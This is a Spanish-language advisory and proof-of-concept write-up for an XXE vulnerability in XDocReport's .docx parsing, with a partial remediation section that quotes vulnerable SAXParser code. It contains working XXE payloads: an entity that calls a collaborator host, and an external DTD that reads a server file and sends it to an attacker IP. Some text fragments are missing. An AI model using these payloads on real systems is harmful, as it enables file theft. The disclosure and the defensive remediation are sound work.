
CVE-2025-65482 (XXE)
XML External Entity Injection
Resumen de la vulnerabilidad
Impacto empresarial
El sitio web de gestión de personal permite a los usuarios subir archivos de documento .docx al sistema. Durante el procesamiento, la aplicación utiliza la biblioteca fr.opensagres.xdocreport.document.docx que contiene la vulnerabilidad XXE al pasar el archivo .docx del usuario a través de SAXParser.
fr.opensagres.xdocreport.template.docx — XDocReport (versiones =< 2.0.3)
La causa es el uso de Apache POI.
fr.opensagres.xdocreport.document.docx
└── fr.opensagres.xdocreport.document
└── fr.opensagres.xdocreport.template
└── fr.opensagres.xdocreport.converter
└── org.apache.poi.xwpf.converter.core
├── org.apache.poi:poi
└── org.apache.poi:poi-ooxml
Es decir, Apache POI está muy profundo, en el módulo:
org.apache.poi.xwpf.converter.core
El error ocurre porque XDocReport (en el módulo fr.opensagres.xdocreport.document.docx) usa Apache POI para leer los archivos .docx, y POI utiliza el SAXParser por defecto de Java sin deshabilitar las características que permiten el procesamiento de DTD y entidades externas. → Esto permite al atacante insertar un DOCTYPE con una entidad que apunta hacia afuera (SYSTEM "http://...") o hacia un archivo interno (file:///...) → generando XXE.
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)
unzip ../vcspentest.docx
nano word/document.xml
editar con payload outbound para pasar por collabrator de la siguiente manera:
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>
zip -r ../poc.docx *
172.26.208.130. con el contenido del archivo vcspentest.dtd de la siguiente manera:<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;
editar el archivo word/document.xml dentro del archivo .docx con el siguiente contenido para cargar el dtd externo desde la máquina wsl:
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>
.docx y subirlo al servidor para su procesamientoD:/vcspentest.txt en el servidor objetivoEn el fragmento de código o en la capa de configuración del analizador XML, es necesario deshabilitar todas las características relacionadas con DTD y entidades externas.
Arreglo similar a este código
@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
@RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
public String SAXParserSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);